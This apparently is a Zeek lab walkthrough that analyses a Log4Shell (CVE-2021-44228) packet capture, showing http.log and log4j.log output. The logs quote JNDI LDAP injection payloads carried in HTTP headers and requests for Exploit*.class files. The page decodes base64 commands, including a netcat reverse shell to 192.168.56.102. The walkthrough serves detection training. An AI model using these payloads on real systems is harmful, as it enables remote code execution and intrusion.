 1640025510.063581	CVW1x93htcyS2qlsaf	172.17.0.1	60318	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	435	400	(empty)	-	-	(empty)	-	-	-	-	-	-	FQJTPb2FVAOerMJdh7	-	text/html
 1640025554.667458	COvB5D4kdBsF0OAjGg	172.17.0.2	51834	192.168.56.102	443	1	GET	192.168.56.102:443	/ExploitSMMZvT8GXL.class	-	1.1	Java/1.8.0_181	-	0	1221	200	OK	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	Fz7ckavJbacqKLihd	-	application/x-java-applet
 1640025554.661073	CiHHhm4BncLehOzMN3	172.17.0.1	60320	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FItcX62GLQzrl4Cbzf	-	text/plain
 1640026858.968993	C5kyKu3m6RIbCUqXd9	172.17.0.2	51836	192.168.56.102	443	1	GET	192.168.56.102:443	/Exploit6HHc3BcVzI.class	-	1.1	Java/1.8.0_181	-	0	1236	200	OK	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FlPEpD1E3EAvvgGJpj	-	application/x-java-applet
 1640026858.960398	CWFbla33TCz3r1OGOa	172.17.0.1	60324	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	Fl61wz3Ge2v4C7LYI4	-	text/plain
 1640027823.052868	C0AIBt146FDQqZgrsc	172.17.0.1	60326	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	-	1.1	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FRCUNW1if8EiKUkky2	-	text/plain
 1640027823.066566	Ck73J33j2cnDW3d1Le	172.17.0.1	60330	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	-	1.1	${jndi:ldap://127.0.0.1:1389}	-	0	91	400(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FvFr0m3lUQZBzNEDGg	-	text/json
 1640027823.072191	CTHREk1CtzRIg0iWt8	172.17.0.1	60334	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	-	1.1	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)	-	0	91	400	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FjiVHw36zI70gLb9wi	-	text/json
 1640027823.077510	CnHDGlNx3DEdaUg6b	172.17.0.1	60338	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	${jndi:ldap://127.0.0.1:1389}	1.1	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)	-	0	91	400	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FvR55t24LnhgxI14G3	-	text/json

root@thm:~$ cat http.log | zeek-cut user_agent
 Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
 Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
Investigate the log4shell.pcapng file with detection-log4j.zeek script. Investigate the http.log file. What is the extension of the exploit file?
root@thm:~$ cd Desktop/Exercise-Files/log4j
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  log4shell.pcapng
 
root@thm:~$ cat detection-log4j.zeek 
 # Load scan-NG Package!
 @load /opt/zeek/share/zeek/site/cve-2021-44228

root@thm:~$ zeek -C -r log4shell.pcapng detection-log4j.zeek
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  http.log   log4shell.pcapng  packet_filter.log  weird.log
 conn.log       files.log             log4j.log  notice.log        signatures.log

root@thm:~$ head -n 20 http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1640023505.960608	C46qhk4zZ9Oa6yAoY4	172.17.0.1	60314	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	91	400	(empty)	-	-	(empty)	-	-	-	-	-	-	Fq5jbu3EpCk5tV3f18	-	text/json
 1640023652.119439	CFZWci2SfK49pWcMq4	172.17.0.2	51832	192.168.56.102	443	1	GET	192.168.56.102:443	/ExploitQ8v7ygBW4i.class	-	1.1	Java/1.8.0_181	-	0	1216	200	OK	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	Fm2Pk636DiMArmDn03	-	application/x-java-applet
 1640023652.008511	Ckl0FV3jumRTSjCk37	172.17.0.1	60316	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FZiMgW29483QEvS57h	-	text/plain
 1640025510.063581	CVW1x93htcyS2qlsaf	172.17.0.1	60318	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	435	400	(empty)	-	-	(empty)	-	-	-	-	-	-	FQJTPb2FVAOerMJdh7	-	text/html
 1640025554.667458	COvB5D4kdBsF0OAjGg	172.17.0.2	51834	192.168.56.102	443	1	GET	192.168.56.102:443	/ExploitSMMZvT8GXL.class	-	1.1	Java/1.8.0_181	-	0	1221	200	OK	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	Fz7ckavJbacqKLihd	-	application/x-java-applet
 1640025554.661073	CiHHhm4BncLehOzMN3	172.17.0.1	60320	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FItcX62GLQzrl4Cbzf	-	text/plain
 1640026858.968993	C5kyKu3m6RIbCUqXd9	172.17.0.2	51836	192.168.56.102	443	1	GET	192.168.56.102:443	/Exploit6HHc3BcVzI.class	-	1.1	Java/1.8.0_181	-	0	1236	200	OK	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FlPEpD1E3EAvvgGJpj	-	application/x-java-applet
 1640026858.960398	CWFbla33TCz3r1OGOa	172.17.0.1	60324	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	Fl61wz3Ge2v4C7LYI4	-	text/plain
 1640027823.052868	C0AIBt146FDQqZgrsc	172.17.0.1	60326	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	-	1.1	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FRCUNW1if8EiKUkky2	-	text/plain
 1640027823.066566	Ck73J33j2cnDW3d1Le	172.17.0.1	60330	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	-	1.1	${jndi:ldap://127.0.0.1:1389}	-	0	91	400(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FvFr0m3lUQZBzNEDGg	-	text/json
 1640027823.072191	CTHREk1CtzRIg0iWt8	172.17.0.1	60334	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	-	1.1	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)	-	0	91	400	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FjiVHw36zI70gLb9wi	-	text/json
 1640027823.077510	CnHDGlNx3DEdaUg6b	172.17.0.1	60338	172.17.0.2	8080	1	GET	172.17.0.2:8080	/	${jndi:ldap://127.0.0.1:1389}	1.1	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)	-	0	91	400	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FvR55t24LnhgxI14G3	-	text/json

root@thm:~$ cat http.log | zeek-cut uri | sort | uniq
 /
 /Exploit6HHc3BcVzI.class
 /ExploitQ8v7ygBW4i.class
 /ExploitSMMZvT8GXL.class
 /testing1
 /testing123
 testing1
Investigate the log4shell.pcapng file with detection-log4j.zeek script. Investigate the log4j.log file. Decode the base64 commands. What is the name of the created file?
root@thm:~$ cd Desktop/Exercise-Files/log4j
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  log4shell.pcapng
 
root@thm:~$ cat detection-log4j.zeek 
 # Load scan-NG Package!
 @load /opt/zeek/share/zeek/site/cve-2021-44228

root@thm:~$ zeek -C -r log4shell.pcapng detection-log4j.zeek
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  http.log   log4shell.pcapng  packet_filter.log  weird.log
 conn.log       files.log             log4j.log  notice.log        signatures.log

root@thm:~$ head -n 20 log4j.log
 #fields	ts	uid	http_uri	uri	stem	target_host	target_port	method	is_orig	name	value	matched_name	matched_value
 #types	time	string	string	string	string	string	string	string	bool	string	string	bool	bool
 1640023652.008511	Ckl0FV3jumRTSjCk37	/	192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=	192.168.56.102:389	192.168.56.102	389	GET	T	X-API-VERSION	${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}	F	T
 1640025554.661073	CiHHhm4BncLehOzMN3	/	192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==	192.168.56.102:389	192.168.56.102	389	GET	T	X-API-VERSION	${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}	F	T
 1640026858.960398	CWFbla33TCz3r1OGOa	/	192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==	192.168.56.102:389	192.168.56.102	389	GET	T	X-API-VERSION	${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}	F	T
 1640027823.052868	C0AIBt146FDQqZgrsc	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	X-API-VERSION	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.066566	Ck73J33j2cnDW3d1Le	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	USER-AGENT	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.072191	CTHREk1CtzRIg0iWt8	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	COOKIE	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.077510	CnHDGlNx3DEdaUg6b	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	REFERER	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.089508	CHEJYb2xPpVeg4qKL6	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	ACCEPT-LANGUAGE	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.094029	CNQqim3QxR3vjdrRsb	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	ACCEPT-ENCODING	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.095902	ChqYJG3NwzJd7ncOf8	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	UPGRADE-INSECURE-REQUESTS	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.097732	CJGWVF4QqmB0rLjJn9	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	ACCEPT	${jndi:ldap://127.0.0.1:1389}	F	T
 1640027823.099709	C2eIJ04Slboqx3m8e2	/	127.0.0.1:1389	127.0.0.1:1389	127.0.0.1	1389	GET	T	UPGRADE-INSECURE-REQUESTS	${jndi:ldap://127.0.0.1:1389}	F	T

root@thm:~$ cat log4j.log | zeek-cut uri | sort | uniq
 127.0.0.1:1389
 192.168.56.102
 192.168.56.102:389
 192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
 192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
 192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
 192.168.56.102:389/test

root@thm:~$ echo -n "bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==" | base64 -d
 nc 192.168.56.102 80 -e /bin/sh -vvv
root@thm:~$ echo -n "d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==" | base64 -d
 which nc > /tmp/pwned
root@thm:~$ echo -n "dG91Y2ggL3RtcC9wd25lZAo=" | base64 -d
 touch /tmp/pwned
PreviousSNORT CHALLENGE (LIVE ATTACKS)NextTSHARK CHALLENGE I: TEAMWORK

Last updated 4 months ago